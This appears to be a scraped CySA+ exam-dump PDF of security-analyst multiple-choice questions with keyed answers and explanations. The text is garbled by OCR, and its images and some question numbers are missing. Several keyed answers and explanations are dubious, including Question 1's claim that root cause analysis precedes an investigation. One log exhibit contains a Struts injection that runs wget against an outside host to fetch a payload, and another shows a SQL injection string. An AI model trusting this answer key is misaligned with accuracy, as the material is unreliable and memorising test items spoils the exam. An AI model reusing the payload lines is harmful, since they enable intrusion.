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Questions # 1:

Which of the following actions would an analyst most likely perform after an incident has been
investigated?

Options:

O A.

Risk assessment

O B.

Root cause analysis

O C.

Incident response plan

O D.

Tabletop exercise

Answer

D
Explanation

A tabletop exercise is the most likely action that an analyst would perform after an
incident has been investigated. A tabletop exercise is a simulation of a potential incident
scenario that involves the key stakeholders and decision-makers of the organization. The
purpose of a tabletop exercise is to evaluate the effectiveness of the incident response
plan, identify the gaps and weaknesses in the plan, and improve the communication and
coordination among the incident response team and other parties. A tabletop exercise can
help the analyst to learn from the incident investigation, test the assumptions and
recommendations made during the investigation, and enhance the preparedness and
resilience of the organization for future incidents12. Risk assessment, root cause analysis,
and incident response plan are all actions that an analyst would perform before or during
an incident investigation, not after. Risk assessment is the process of identifying,
analyzing, and evaluating the risks that may affect the organization. Root cause analysis is
the method of finding the underlying or fundamental causes of an incident. Incident
response plan is the document that defines the roles, responsibilities, procedures, and
resources for responding to an incident345. References: Tabletop Exercises: Six Scenarios
to Help Prepare Your Cybersecurity Team, Tabletop Exercises for Incident Response -
SANS Institute, Risk Assessment - NIST, Root Cause Analysis - OWASP, Incident Response
Plan | Ready.gov
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Questions # 2:

A company receives a penetration test report summary from a third party. The report
summary indicates a proxy has some patches that need to be applied. The proxy is sitting in a
rack and is not being

used, as the company has replaced it with a new one. The CVE score of the vulnerability on
the proxy is a 9.8. Which of the following best practices should the company follow with this
proxy?

Options:

O A.

Leave the proxy as is.

O B.

Decomission the proxy.

O C.

Migrate the proxy to the cloud.

O D.

Patch the proxy

Answer

B
Explanation

The best practice that the company should follow with this proxy is to decommission the
proxy. Decommissioning the proxy involves removing or disposing of the proxy from the
rack and the network, as well as deleting or wiping any data or configuration on the proxy.
Decommissioning the proxy can help eliminate the vulnerability on the proxy, as well as
reduce the attack surface, complexity, or cost of maintaining the network.
Decommissioning the proxy can also free up space or resources for other devices or
systems that are in use or needed by the company.

Questions # 3:
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A security analyst is trying to validate the results of a web application scan with Burp Suite.
The security analyst performs the following:

>

Which of the following vulnerabilitles Is the securlty analyst trylng to valldate?

Options:

O A.

SQL injection
O B.

LFI

O C.

XSS

O D.

CSRF

Answer

B
Explanation

The security analyst is validating a Local File Inclusion (LFI) vulnerability, as indicated by
the “/.../.../.../" in the GET request which is a common indicator of directory traversal
attempts associated with LFIl. The other options are not relevant for this purpose: SQL
injection involves injecting malicious SQL statements into a database query; XSS involves
injecting malicious scripts into a web page; CSRF involves tricking a user into performing
an unwanted action on a web application.

[References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Editionl,
one of the objectives for the exam is to “use appropriate tools and methods to manage,
prioritize and respond to attacks and vulnerabilities”. The book also covers the usage and
syntax of Burp Suite, a tool used for testing web application security, in chapter 6.
Specifically, it explains the meaning and function of each component in Burp Suite, such
as Repeater, which allows the security analyst to modify and resend individual requestsl,
page 239. Therefore, this is a reliable source to verify the answer to the question., , ]

Questions # 4:
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A security analyst has identified a new malware file that has impacted the organization. The
malware is polymorphic and has built-in conditional triggers that require a connection to the
internet. The CPU has an idle process of at least 70%. Which of the following best describes
how the security analyst can effectively review the malware without compromising the
organization's network?

Options:

O A.

Utilize an RDP session on an unused workstation to evaluate the malware.

O B.

Disconnect and utilize an existing infected asset off the network.

O C.

Create a virtual host for testing on the security analyst workstation.

O D.

Subscribe to an online service to create a sandbox environment.

Answer

D
Explanation

A sandbox environment is a safe and isolated way to analyze malware without affecting
the organization’s network. An online service can provide a sandbox environment without
requiring the security analyst to set up a virtual host or use an RDP session. Disconnecting
and using an existing infected asset is risky and may not provide accurate results.
References: Malware Analysis: Steps & Examples, Dynamic Analysis

Questions # 5:

A Chief Information Security Officer (CISO) wants to disable a functionality on a business-
critical web application that is vulnerable to RCE in order to maintain the minimum risk level
with minimal increased cost.

Which of the following risk treatments best describes what the CISO is looking for?
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Options:
O A.
Transfer
O B.
Mitigate
O C.
Accept

O D.

Avoid

Answer

B

Questions # 6:

K company has recently experienced a security breach via a public-facing service. Analysis of
the event on the server was traced back to the following piece of code:

SELECT ’ From userjdata WHERE Username = 0 and userid8 1 or 1=1;—

Which of the following controls would be best to implement?

Options:

O A.

Deploy a wireless application protocol.
O B.

Remove the end-of-life component.

O C.

Implement proper access control.

O D.

Validate user input.
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Answer

D
Explanation

The code snippet provided suggests an SQL injection vulnerability, indicated by the use of
"1=1," which is a common SQL injection technique to bypass authentication. To mitigate
this risk, validating user input is the most effective control, as it ensures that any input is
properly sanitized and escapes potentially malicious characters before interacting with the
database. This is a key principle from CompTIA Security+ guidelines on secure coding
practices. Options A and B are unrelated to the vulnerability type here, and while access
control (Option C) is generally good practice, it does not specifically prevent SQL injection.

Questions # 7:

A cybersecurity analyst notices unusual network scanning activity coming from a country that
the company does not do business with. Which of the following is the best mitigation
technique?

Options:

O A.

Geoblock the offending source country

O B.

Block the IP range of the scans at the network firewall.

O C.

Perform a historical trend analysis and look for similar scanning activity.
O D.

Block the specific IP address of the scans at the network firewall

Answer

A
Explanation
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Geoblocking is the best mitigation technique for unusual network scanning activity coming
from a country that the company does not do business with, as it can prevent any
potential attacks or data breaches from that country. Geoblocking is the practice of
restricting access to websites or services based on geographic location, usually by
blocking IP addresses associated with a certain country or region. Geoblocking can help
reduce the overall attack surface and protect against malicious actors who may be trying
to exploit vulnerabilities or steal information. The other options are not as effective as
geoblocking, as they may not block all the possible sources of the scanning activity, or
they may not address the root cause of the problem. Official References:

https://www.blumira.com/geoblocking/

https://www.avg.com/en/signal/geo-blocking

Questions # 8:

AXSS vulnerability was reported on one of the non-sensitive/non-mission-critical public
websites of a company. The security department confirmed the finding and needs to provide a
recommendation to the application owner. Which of the following recommendations will best
prevent this vulnerability from being exploited? (Select two).

Options:

O A.

Implement an IPS in front of the web server.

O B.

Enable MFA on the website.

O C.

Take the website offline until it is patched.

O D.

Implement a compensating control in the source code.

O E.

Configure TLS v1.3 on the website.

O F.

Fix the vulnerability using a virtual patch at the WAF.
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Answer

D, F
Explanation

The best recommendations to prevent an XSS vulnerability from being exploited are to
implement a compensating control in the source code and to fix the vulnerability using a
virtual patch at the WAF. A compensating control is a technique that mitigates the risk of a
vulnerability by adding additional security measures, such as input validation, output
encoding, or HTML sanitization. A virtual patch is a rule that blocks or modifies malicious
requests or responses at the WAF level, without modifying the application code. These
recommendations are effective, efficient, and less disruptive than the other options.
References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security
Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet,
Section: XSS Defense Philosophy.

Questions # 9:

A vulnerability management team is unable to patch all vulnerabilities found during their
weekly scans. Using the third-party scoring system described below, the team patches the
most urgent vulnerabilities:

>

Additionally, the vulnerability management team feels that the metrics Smear and Channing
are less important than the others, so these will be lower in priority. Which of the following
vulnerabilities should be patched first, given the above third-party scoring system?
Options:

O A.

InLoud:Cobain: YesGrohl: NoNovo: YesSmear: YesChanning: No

O B.

TSpirit:Cobain: YesGrohl: YesNovo: YesSmear: NoChanning: No

O C.

ENameless:Cobain: YesGrohl: NoNovo: YesSmear: NoChanning: No

O D.

PBleach:Cobain: YesGrohl: NoNovo: NoSmear: NoChanning: Yes
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Answer

B
Explanation

The vulnerability that should be patched first, given the above third-party scoring system,
is:

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

This vulnerability has three out of five metrics marked as Yes, which indicates a high
severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and
Channing, according to the vulnerability management team. Therefore, this vulnerability
poses a greater risk than the other vulnerabilities and should be patched first.

Questions # 10:

A new SOC manager reviewed findings regarding the strengths and weaknesses of the last
tabletop exercise in order to make improvements. Which of the following should the SOC
manager utilize to improve the process?

Options:

O A.

The most recent audit report

O B.

The incident response playbook
O C.

The incident response plan

O D.

The lessons-learned register

Answer

D
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Explanation

The lessons-learned register is an essential document that captures insights and feedback
from past exercises or incidents, highlighting what went well and what did not. By utilizing
this register, the SOC manager can identify specific areas for improvement and develop
actionable steps to enhance future response efforts. According to CompTIA’s CySA+ and
Security+ guidance, lessons learned fromtabletop exercises are crucial for iterative
improvements in an incident response plan. Options A, B, and C are useful resources, but
the lessons-learned register specifically focuses on reflection and improvement, which is
the primary objective in this context.

Questions # 11:

An analyst finds that an IP address outside of the company network that is being used to run
network and vulnerability scans across external-facing assets. Which of the following steps of
an attack framework is the analyst witnessing?

Options:

O A.

Exploitation

O B.

Reconnaissance

O C.

Command and control
O D.

Actions on objectives

Answer

B
Explanation

Reconnaissance is the first stage in the Cyber Kill Chain and involves researching potential
targets before carrying out any penetration testing. The reconnaissance stage may
include identifying potential targets, finding their vulnerabilities, discovering which third
parties are connected to them (and what data they can access), and exploring existing

Page 11 of 23



entry points as well as finding new ones. Reconnaissance can take place both online and
offline. In this case, an analyst finds that an IP address outside of the company network is
being used to run network and vulnerability scans across external-facing assets. This
indicates that the analyst is withessing reconnaissance activity by an attacker. Official
References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

Questions # 12:

An employee received a phishing email that contained malware targeting the company. Which
of the following is the best way for a security analyst to get more details about the malware
and avoid disclosing information?

Options:

O A.

Upload the malware to the VirusTotal website

O B.

Share the malware with the EDR provider

O C.

Hire an external consultant to perform the analysis

O D.

Use a local sandbox in a microsegmented environment

Answer

D
Explanation

Comprehensive Detailed Explanation:To safely analyze malware while avoiding
unintended disclosure of company information, it is best to use a local sandbox in a
microsegmented environment. Here's why:

A. Upload the malware to the VirusTotal website

Risk: VirusTotal and similar services are public and may share uploaded files
with other security vendors, potentially exposing proprietary or sensitive
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information.
B. Share the malware with the EDR provider

Limitation: While EDR providers may offer insight, sharing potentially sensitive
malware samples externally still introduces risk of disclosure or data leaks.

C. Hire an external consultant to perform the analysis

Cost and Risk: Hiring an external consultant can be costly and may introduce
risks related to third-party handling of sensitive data. Although it may provide
insights, this is typically not the most efficient initial response.

D. Use a local sandbox in a microsegmented environment

Explanation: A local sandbox provides a secure, isolated environment for
malware analysis without exposing sensitive data outside the organization.
Microsegmentation enhances security by further isolating the sandbox from the
network, preventing lateral movement if the malware attempts to communicate
externally.

[References:, NIST SP 800-83: Guide to Malware Incident Prevention and Handling for
Desktops and Laptops., MITRE ATT&CK: Techniques and recommendations for malware
analysis in isolated environments., , ]

Questions # 13:

A security analyst performs various types of vulnerability scans. Review the vulnerability scan
results to determine the type of scan that was executed and if a false positive occurred for
each device.

Instructions:

Select the Results Generated drop-down option to determine if the results were generated
from a credentialed scan, non-credentialed scan, or a compliance scan.

For ONLY the credentialed and non-credentialed scans, evaluate the results for false positives
and check the findings that display false positives. NOTE: If you would like to uncheck an
option that is currently selected, click on the option a second time.

Lastly, based on the vulnerability scan results, identify the type of Server by dragging the
Server to the results.
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The Linux Web Server, File-Print Server and Directory Server are draggable.

If at any time you would like to bring back the initial state of the simulation, please select the
Reset All button. When you have completed the simulation, please select the Done button to
submit. Once the simulation is submitted, please select the Next button to continue.

>

>

Options:

Answer

Answer: >

Questions # 14:

A security team needs to demonstrate how prepared the team is in the event of a cyberattack.
Which of the following would best demonstrate a real-world incident without impacting
operations?

Options:

O A.

Review lessons-learned documentation and create a playbook.

O B.

Gather all internal incident response party members and perform a simulation.

O C.

Deploy known malware and document the remediation process.

O D.

Schedule a system recovery to the DR site for a few applications.

Answer

B
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Explanation

Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to
demonstrate real-world readiness without affecting operations.

Option A (Reviewing lessons-learned and playbooks)is valuable but does not
actively test readiness.

Option C (Deploying malware)is highly risky and unethical in a production
environment.

Option D (Disaster recovery site testing)focuses on DR, not security incident

readiness.

Thus,B is the best choice, as simulations effectivelytest incident response
capabilities without operational disruption.

Questions # 15:

New employees in an organization have been consistently plugging in personal webcams
despite the company policy prohibiting use of personal devices. The SOC manager discovers
that new employees are not aware of the company policy. Which of the following will the SOC
manager most likely recommend to help ensure new employees are accountable for following
the company policy?

Options:

O A.

Human resources must email a copy of a user agreement to all new employees

O B.

Supervisors must get verbal confirmation from new employees indicating they have read the
user agreement

O C.

All new employees must take a test about the company security policy during the cjitoardmg
process

O D.

All new employees must sign a user agreement to acknowledge the company security policy
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Answer

D
Explanation

The best action that the SOC manager can recommend to help ensure new employees are
accountable for following the company policy is to require all new employees to sign a
user agreement to acknowledge the company security policy. A user agreement is a
document that defines the rights and responsibilities of the users regarding the use of the
company'’s systems, networks, or resources, as well as the consequences of violating the
company’s security policy. Signing a user agreement can help ensure new employees are
aware of and agree to comply with the company security policy, as well as hold them
accountable for any breaches or incidents caused by their actions or inactions.

Questions # 16:

Which of the following will most likely ensure that mission-critical services are available in the
event of an incident?

Options:

O A.

Business continuity plan

O B.

Vulnerability management plan
O C.

Disaster recovery plan

O D.

Asset management plan

Answer

C

Questions # 17:
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Following a recent security incident, the Chief Information Security Officer is concerned with
improving visibility and reporting of malicious actors in the environment. The goal is to reduce
the time to prevent lateral movement and potential data exfiltration. Which of the following
techniques will best achieve the improvement?

Options:

O A.

Mean time to detect

O B.

Mean time to respond

O C.

Mean time to remediate

O D.

Service-level agreement uptime

Answer

A
Explanation

Mean time to detect (MTTD) is a metric that measures how quickly an organization can
identify a security incident or a malicious actor in the environment. Reducing MTTD can
improve visibility and reporting of threats, as well as prevent lateral movement and data
exfiltration by detecting them sooner.

Questions # 18:

Which of the following best explains the importance of utilizing an incident response
playbook?

Options:

O A.
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It prioritizes the business-critical assets for data recovery.

O B.

It establishes actions to execute when inputs trigger an event.

O C.

It documents the organization asset management and configuration.
O D.

It defines how many disaster recovery sites should be staged.

Answer

B
Explanation

Incident response playbooksprovide a structuredstep-by-step guidefor handling
security incidents. Theydefine actions to takewhen specificthreat indicators or
eventsoccur, ensuring acoordinated and consistent response.

Option A (Prioritizing business-critical assets)relates more todisaster
recovery (DR)than incident response.

Option C (Documenting asset management)is part ofIT governance, not
incident response.

Option D (Defining DR sites)falls underbusiness continuity planning, not real-
time incident handling.

Thus,B is the best answer, asplaybooks are designed to trigger appropriate
responses to incidents.

Questions # 109:

An incident response team member is triaging a Linux server. The output is shown below:

$ cat /etc/passwd
root:x:0:0::/:/bin/zsh

bin:x:1:1::/:/usr/bin/nologin
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daemon:x:2:2::/:/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
http:x:33:33::/srv/http:/bin/bash
nobody:x:65534:65534:Nobody:/:/usr/bin/nologin
git:x:972:972:git daemon user:/:/usr/bin/git-shell
$ cat /var/log/httpd

at
org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:241

)

at
org.apache.catalina.core.ApplicationFilterChain.internaDoFilter(ApplicationFilterChain.java:208
)

at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:316)
at org.java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)

WARN [struts2.dispatcher.multipart.JakartaMultipartRequest] Unable to parse request
container.getinstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip; #whoami)

at
org.apache.commons.fileupload.FileUploadBase$FileUploadBase$Fileltemliteratorimpl.(FileUplo
adBase.java:947) at
org.apache.commons.fileupload.FileUploadBase.getltemiterator(FileUploadBase.java:334)

at
org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultiPar
tRequest.java:188)
org.apache.struts2.dispatcher.multipart.JakartaMultipartRequest.parseRequest(JakartaMultipar
tRequest.java:423)

Which of the following is the adversary most likely trying to do?

Options:

O A.

Create a backdoor root account named zsh.

O B.

Execute commands through an unsecured service account.

o C.
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Send a beacon to a command-and-control server.
O D.

Perform a denial-of-service attack on the web server.

Answer

B
Explanation

The log output indicates an attempt to execute a command via an unsecured service
account, specifically using a wget command to download a file from an external source.
This suggests that the adversary is trying to exploit a vulnerability in the web server to run
unauthorized commands, which is a common technique for gaining a foothold or further
compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip
indicates an attempt to download and possibly execute a malicious payload.

Questions # 20:

A security analyst is performing vulnerability scans on the network. The analyst installs a
scanner appliance, configures the subnets to scan, and begins the scan of the network. Which
of the following

would be missing from a scan performed with this configuration?

Options:

O A.

Operating system version
O B.

Registry key values

O C.

Open ports

O D.

IP address
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Answer

B
Explanation

Registry key values would be missing from a scan performed with this configuration, as
the scanner appliance would not have access to the Windows Registry of the scanned
systems. The WindowsRegistry is a database that stores configuration settings and
options for the operating system and installed applications. To scan the Registry, the
scanner would need to have credentials to log in to the systems and run a local agent or
script. The other items would not be missing from the scan, as they can be detected by
the scanner appliance without credentials. Operating system version can be identified by
analyzing service banners or fingerprinting techniques. Open ports can be discovered by
performing a port scan or sending probes to common ports. IP address can be obtained by
resolving the hostname or using network discovery tools.
https://attack.mitre.org/techniques/T1112/

Questions # 21:

An analyst suspects cleartext passwords are being sent over the network. Which of the
following tools would best support the analyst's investigation?

Options:

O A.

OpenVAS

O B.

Angry IP Scanner

O C.

Wireshark

O D.

Maltego

Answer

C
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Explanation

Wiresharkis apacket capture and analysis toolthat allows analysts to inspect network
traffic and detectcleartext credentialssent over protocols like HTTP, FTP, and Telnet.
Option A (OpenVAS)is avulnerability scanner, not a network analysis tool.

Option B (Angry IP Scanner)identifiesactive hosts, but does not analyze packet
contents.

Option D (Maltego)is used forOSINT and network reconnaissance, not packet

inspection.

Thus,C (Wireshark) is the correct answer, as itcaptures and analyzes network
packets to identify unencrypted passwords.
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